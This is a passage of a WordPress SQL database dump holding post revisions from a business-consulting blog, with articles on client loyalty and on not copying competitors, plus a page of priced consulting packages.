“availability”. Clients  provide the “demand” by requesting your expertise. Your supply of time is finite. Excess demand creates competition among your clients for your time. By limiting your availability (supply) you are in effect creating more demand for your time and perceived value.  In doing this, you differentiate between clients who deserve more of your time and the ones who want it. People typically want more of what they can’t have.  Say no to those clients who demand more of your time than they contribute to your growth. By employing the scarcity principle you create more supply and increase demand from more empowering and deserving clients.\r\n\r\nAs you can see there is great deal of difference between deserving success and desiring it. You can only get your business to the next level when you develop the conscious mental habits that vibrate to the universe that you are enlightened and ready to receive the loyal clients you inherently deserve. You can take the first step.\r\n\r\n<strong>What are you doing right now that is creating the loyal clients you deserve? </strong>\r\n\r\nPlease share your thoughts in the comments box below.', 'Do you deserve your client''s loyalty?', 0, '', 'inherit', 'open', 'open', '', '577-revision-6', '', '', '2009-08-09 12:52:57', '2009-08-09 19:52:57', '', 577, 'http://www.whitehotcenter.com/2009/08/09/577-revision-6/', 0, 'revision', '', 0),
(586, 1, '2009-08-09 13:00:51', '2009-08-09 20:00:51', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/loyalty.gif"><img class="alignnone size-full wp-image-578" title="loyalty" src="http://whc.fbdev.org/wp-content/uploads/2009/08/loyalty.gif" alt="loyalty" width="450" height="329" /></a><span style="color: #ff6600;">The best way to competition-proof your creative business is to create loyal clients. Loyal clients are the ones who believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else.  The marketplace will reward those who earn and deserve, never because they desire or need.  Do you <em>deserve</em> your client’s loyalty?</span></h2>\r\nThe word “deserve” comes from the latin “de serve” which simply means <em>to serve</em>. You only deserve any result you desire from your client when you are serving them with commitment to <em>create more value for them</em> then you are receiving <em>in cash from them</em>. Think about this.  This is an important principle in creating raving loyal clients. This does not mean that you work for less money. On the contrary, it means that whatever the amount of money you are paid, you always provide more “use value” than the cash value received.\r\n\r\nIf you’re in a creative business selling your talent, knowledge, and expertise you might ask yourself, do I deserve the fees I charge? Am I fee-worthy?  Do my clients perceive my value to them as greater than the money they are paying me?  Providing deliverables aligned to your client’s expectation is not enough to deserve their on-going loyalty. All your competitors can provide acceptable deliverables.  Doing what is expected is not enough to differentiate you from the other alternatives available to your client. You can provide more. Here are several suggested ideas for you to think about:\r\n\r\n<strong>Loyalty in client relationships is never static.</strong>\r\n\r\nThink of creating loyalty the same way you would think of physical exercise.  The more your focus is on finding ways to serve your clients the stronger the relationship will be. It’s an on-going process. Nothing strengthens without effort. Stop exercising and things eventually will begin to go downhill fast. Everyone has heard the expression “familiarity breeds contempt”.  This basically means the longer a relationship exists, the more things begin to be taken for granted. The more a client feels you are in “relationship entitlement mode”, the more open to options they will become.  Let that not be you!\r\n\r\n<strong>It’s all about them–never you.</strong>\r\n\r\nIt’s easy to get caught up in the method, details and minutia of doing the work you’re hired to do. It’s even easier to let your thinking go somewhere in the direction of “they can’t get this kind of quality, price or  delivery from anyone else. We’re doing a big favor working for them”.  Obviously that kind of shortsightedness will never create a loyal client who will sing your praises to others.  To deserve loyal clients, your focus will always be on your client’s desire, never yours.  If you take care of creating value for your clients, your value to them increases accordingly. Do the unexpected, go the extra mile!  Do this with grace and humility. You’re in business to create success for others first. Everything after that will take care of itself.\r\n\r\n<strong>Be trustworthy.</strong>\r\n\r\nThis may sound like an over simplification, however when a client shares something of a personal nature with you, they are essentially saying “I trust you”.  In order for trust to be deserved, demonstrate your sensitivity to “moments of truth” when your client shares something of personal importance. Your best client relationships, the ones that are of greatest value to the growth of your business, are the ones where you are trusted.  Respond with your thoughtful consideration and respect. Over time, you are building your relationship chemistry– the core elements that comprise the essence of how valuable you are to them, and their loyalty to you. It begins with trust.\r\n\r\n<strong>Be everything to a few people.</strong>\r\n\r\nNot all your clients will be of the kind where loyalty can grow. Some client relationships are transactional. You really can’t be all things to all clients, it’s absurd to even try. Be selective by cultivating deeper relationships with those clients who empower you, respect your contributions, and refer you to others in their circle of influence.\r\n\r\nTake some time to think about the factors that have comprised your most successful client relationships. When you have defined those attributes, look into your current list of clients. How many are fulfilling that criteria right now?  If there are clients who are no longer a good fit, respectfully disassociate from them. Establish the “rules of engagement” for your new clients early in the game. This creates immediate respect not only from clients, but for yourself. After all, if you don’t demonstrate a respectful value for yourself, why should anyone else?\r\n\r\n<strong>Scarcity creates abundance. </strong>\r\n\r\nAs you continually evolve and grow in your business, you will no doubt be reminded of one of the fundamental principles in economics–supply and demand.  The supply is your “availability”. Clients  provide the “demand” by requesting your expertise. Your supply of time is finite. Excess demand creates competition among your clients for your time. By limiting your availability (supply) you are in effect creating more demand for your time and perceived value.  In doing this, you differentiate between clients who deserve more of your time and the ones who want it. People typically want more of what they can’t have.  Say no to those clients who demand more of your time than they contribute to your growth. By employing the scarcity principle you create more supply and increase demand from more empowering and deserving clients.\r\n\r\nAs you can see there is great deal of difference between deserving success and desiring it. You can only get your business to the next level when you develop the conscious mental habits that vibrate to the universe that you are enlightened and ready to receive the loyal clients you inherently deserve. You can take the first step.\r\n\r\n<strong>What are you doing right now that is creating the loyal clients you deserve? </strong>\r\n\r\nPlease share your thoughts in the comments box below.', 'Do you deserve your client''s loyalty?', 0, '', 'inherit', 'open', 'open', '', '577-revision-7', '', '', '2009-08-09 13:00:51', '2009-08-09 20:00:51', '', 577, 'http://www.whitehotcenter.com/2009/08/09/577-revision-7/', 0, 'revision', '', 0),
(587, 2, '2009-07-31 15:29:40', '2009-07-31 22:29:40', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #ff6600;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\n<h2><span style="color: #333333;">\r\n\r\n</span></h2>\r\n<span style="color: #333333;">In nearly 30-years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire corporate executives, managers, creative entrepreneurs, and professionals to discover and define the white hot center of their competitive advantage, and provide guidance to help them bring into physical form the expression of that advantage at every client, customer, or personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level\r\nConsulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jam conference calls to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. <strong>Learn more here.</strong>\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. <strong>Learn more here.</strong>\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><strong>How to start the burn</strong>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.</span></h2>\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-07-31 15:29:40', '2009-07-31 22:29:40', '', 138, 'http://www.whitehotcenter.com/2009/07/31/138-revision-48/', 0, 'revision', '', 0),
(588, 2, '2009-08-26 10:34:14', '2009-08-26 17:34:14', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event.\r\nIt will always involve change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves many competitors, much of what you currently provide may be perceived by clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\r\n<h2><strong>We adapt by copying others.</strong></h2>\r\nSocial observer and author, <a href="http://herd.typepad.com" target="_blank"><strong>Mark Earls</strong></a> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2><strong>It’s easier and less risky to copy what works than to invent more value.</strong></h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of change is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients, cash flow) seems stronger than creating greater value (inventing new stuff that serves people).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2><strong>Your business must stand for something.</strong></h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is just another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\r\n\r\n<strong> </strong>\r\n<h2><strong>Don’t confuse value creation with copying success.</strong></h2>\r\nThe key to your business growth (bigger fees, better clients) is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune in working with you to others. Copy that formula and you can change the world.\r\n\r\n<span style="color: #808080;">Authors Note: This post is an edited version of a post I created for the <a href="http://www.pullinc.com" target="_blank"><em>Influence by Design</em></a> blog. In that article, the focus was on building identity strategies that are highly differentiated from the clutter in our current marketplace. Marketers are always copying the success of others as a proven method to sell more stuff. In the long run, most marketing just adds to the clutter.\r\n</span>', 'The temptation to copy what works.', 0, '', 'publish', 'open', 'open', '', 'the-temptation-to-copy-what-works', '', '', '2010-07-15 08:15:12', '2010-07-15 15:15:12', '', 0, 'http://www.whitehotcenter.com/?p=588', 0, 'post', '', 2),
(607, 2, '2009-08-26 06:44:31', '2009-08-26 13:44:31', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event. It will always involves change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\nIf your entrepreneurial business involves creative services, or you’re a solo professional,  artist or infoprenuer, much of what you currently provide is perceived by customers as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\n<h2><strong>We adapt by copying others.</strong></h2>\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\n\n<strong> </strong>\n<h2><strong>It’s easier and less risky to copy what works than to invent more value.</strong></h2>\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of the stuff that changes is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients) seems stronger than creating new value (inventing new stuff that serves people).\n\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\n<h2><strong>Your business must stand for something.</strong></h2>\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\n\n<strong> </strong>\n<h2><strong>Don’t confuse value creation with copying success.</strong></h2>\nThe key to your business growth (bigger fees, better clients) is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune in working with you with others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-17', '', '', '2009-08-26 06:44:31', '2009-08-26 13:44:31', '', 588, 'http://www.whitehotcenter.com/2009/08/26/588-revision-17/', 0, 'revision', '', 0),
(589, 2, '2009-08-25 20:33:52', '2009-08-26 03:33:52', '', 'copyimage', 0, '', 'inherit', 'open', 'open', '', 'copyimage', '', '', '2009-08-25 20:33:52', '2009-08-26 03:33:52', '', 588, 'http://www.whitehotcenter.com/wp-content/uploads/2009/08/copyimage.gif', 0, 'attachment', 'image/gif', 0),
(590, 2, '2009-08-25 20:35:35', '2009-08-26 03:35:35', '', 'copyimage', 0, '', 'inherit', 'open', 'open', '', 'copyimage-2', '', '', '2009-08-25 20:35:35', '2009-08-26 03:35:35', '', 588, 'http://www.whitehotcenter.com/wp-content/uploads/2009/08/copyimage1.gif', 0, 'attachment', 'image/gif', 0),
(591, 2, '2009-08-25 20:38:52', '2009-08-26 03:38:52', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event. It will always involves change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\nIf your entrepreneurial business involves creative services, or you’re a solo professional,  artist or infoprenuer, much of what you currently provide is perceived by customers as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\n<h2><strong>We adapt by copying others.</strong></h2>\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well–tempting.  Here’s why:\n\n<strong> </strong>\n<h2><strong>It’s easier and less risky to copy what works than to invent more value.</strong></h2>\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of the stuff that changes is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients) seems stronger than creating new value (inventing new stuff that serves people).\n\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\n<h2><strong>Your business must stand for something.</strong></h2>\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\n\n<strong> </strong>\n<h2><strong>Don’t confuse copying proven success with value creation.</strong></h2>\nThe key to your business growth (bigger fees, better clients) and creating compelling value for your client’s, is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune with others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision', '', '', '2009-08-25 20:38:52', '2009-08-26 03:38:52', '', 588, 'http://www.whitehotcenter.com/2009/08/25/588-revision/', 0, 'revision', '', 0);
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(593, 2, '2009-08-25 20:40:49', '2009-08-26 03:40:49', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event. It will always involves change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves creative services, or you’re a solo professional,  artist or infoprenuer, much of what you currently provide is perceived by customers as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\r\n<h2>We adapt by copying others.</h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well–tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2>It’s easier and less risky to copy what works than to invent more value.</h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of the stuff that changes is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients) seems stronger than creating new value (inventing new stuff that serves people).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2>Your business must stand for something.</h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\r\n<h2>Don’t confuse copying proven success with value creation.</h2>\r\nThe key to your business growth (bigger fees, better clients) and creating compelling value for your client’s, is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune with others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-3', '', '', '2009-08-25 20:40:49', '2009-08-26 03:40:49', '', 588, 'http://www.whitehotcenter.com/2009/08/25/588-revision-3/', 0, 'revision', '', 0),
(592, 2, '2009-08-25 20:39:04', '2009-08-26 03:39:04', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event. It will always involves change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves creative services, or you’re a solo professional,  artist or infoprenuer, much of what you currently provide is perceived by customers as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\r\n<h2><strong>We adapt by copying others.</strong></h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well–tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2><strong>It’s easier and less risky to copy what works than to invent more value.</strong></h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of the stuff that changes is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients) seems stronger than creating new value (inventing new stuff that serves people).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2><strong>Your business must stand for something.</strong></h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\r\n\r\n<strong> </strong>\r\n<h2><strong>Don’t confuse copying proven success with value creation.</strong></h2>\r\nThe key to your business growth (bigger fees, better clients) and creating compelling value for your client’s, is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune with others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-2', '', '', '2009-08-25 20:39:04', '2009-08-26 03:39:04', '', 588, 'http://www.whitehotcenter.com/2009/08/25/588-revision-2/', 0, 'revision', '', 0),
(594, 2, '2009-08-25 20:40:59', '2009-08-26 03:40:59', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event. It will always involves change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves creative services, or you’re a solo professional,  artist or infoprenuer, much of what you currently provide is perceived by customers as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\r\n<h2>We adapt by copying others.</h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well–tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2>It’s easier and less risky to copy what works than to invent more value.</h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of the stuff that changes is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients) seems stronger than creating new value (inventing new stuff that serves people).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2>Your business must stand for something.</h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\r\n<h2>Don’t confuse copying proven success with value creation.</h2>\r\nThe key to your business growth (bigger fees, better clients) and creating compelling value for your client’s, is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune with others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-4', '', '', '2009-08-25 20:40:59', '2009-08-26 03:40:59', '', 588, 'http://www.whitehotcenter.com/2009/08/25/588-revision-4/', 0, 'revision', '', 0),
(595, 2, '2009-08-25 20:42:41', '2009-08-26 03:42:41', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event.\r\nIt will always involves change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves creative services, or you’re a solo professional,  artist or infoprenuer, much of what you currently provide is perceived by customers as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\r\n<h2>We adapt by copying others.</h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well–tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2>It’s easier and less risky to copy what works than to invent more value.</h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of the stuff that changes is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients) seems stronger than creating new value (inventing new stuff that serves people).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2>Your business must stand for something.</h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\r\n<h2>Don’t confuse copying proven success with value creation.</h2>\r\nThe key to your business growth 